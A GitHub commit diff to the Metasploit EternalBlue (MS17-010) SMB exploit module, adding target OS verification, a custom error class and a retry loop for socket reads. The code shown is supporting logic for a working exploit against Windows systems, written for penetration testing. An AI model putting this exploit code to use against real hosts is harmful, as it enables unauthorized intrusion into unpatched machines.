Skip to content

Commit 646ca14

Browse files
author
zerosum0x0
committed
basic OS verification, ghetto socket read code
1 parent 6fb4040 commit 646ca14

File tree

1 file changed

+29
-11
lines changed

1 file changed

+29
-11
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 29 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -89,6 +89,9 @@ def initialize(info = {})
8989
])
9090
end
9191

92+
class EternalBlueError < StandardError
93+
end
94+
9295
def check
9396
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
9497
end
@@ -121,6 +124,8 @@ def exploit
121124
end
122125
end
123126

127+
rescue EternalBlueError => e
128+
print_bad("#{e.message}")
124129
rescue ::RubySMB::Error::UnexpectedStatusCode,
125130
::Errno::ECONNRESET,
126131
::Rex::HostUnreachable,
@@ -149,7 +154,7 @@ def smb_eternalblue(process_name, grooms)
149154
print_good("Connection established for exploitation.")
150155

151156
if not verify_target(os)
152-
return
157+
raise EternalBlueError, "Unable to continue with improper OS Target."
153158
end
154159

155160
#if not verify_arch
@@ -203,24 +208,33 @@ def smb_eternalblue(process_name, grooms)
203208
# tree disconnect
204209
# logoff and x
205210
# note: these aren't necessary, just close the sockets
206-
211+
return true
207212
ensure
208213
abort_sockets
209214
end
210215
end
211216

212217
def verify_target(os)
218+
os = os.gsub("\x00", '') # strip unicode bs
219+
os << "\x00" # but original has a null
213220
ret = true
214221

215222
if datastore['VerifyTarget']
216-
if false
217-
los = os.downcase
218-
#if los.include 'server 2008 r2' or os =~ /windows 7/i
223+
ret = false
224+
# search if its in patterns
225+
target['os_patterns'].each do |pattern|
226+
if os.downcase.include? pattern.downcase
227+
ret = true
228+
break
229+
end
230+
end
231+
232+
if ret
233+
print_status("Target OS selected valid for OS indicated by SMB reply")
234+
else
219235
print_warning("Target OS selected not valid for OS indicated by SMB reply")
220236
print_warning("Disable VerifyTarget option to proceed manually...")
221-
ret = false
222237
end
223-
print_status("Target OS selected valid for OS indicated by SMB reply")
224238
end
225239

226240
# cool buffer print no matter what, will be helpful when people post debug issues
@@ -230,9 +244,6 @@ def verify_target(os)
230244
end
231245

232246
def print_core_buffer(os)
233-
os = os.gsub("\x00", '') # don't do the unicode
234-
os << "\x00" # but original has a null
235-
236247
print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
237248

238249
count = 0
@@ -344,7 +355,14 @@ def smb1_free_hole(start)
344355
end
345356

346357
def smb1_get_response(sock)
347-
raw = sock.get_once
358+
raw = nil
359+
360+
# dirty hack since it doesn't always like to reply the first time...
361+
16.times do
362+
raw = sock.get_once
363+
break unless raw.nil? or raw.empty?
364+
end
365+
348366
response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
349367
code = response.nt_status
350368
return code, raw, response

0 commit comments

Comments
 (0)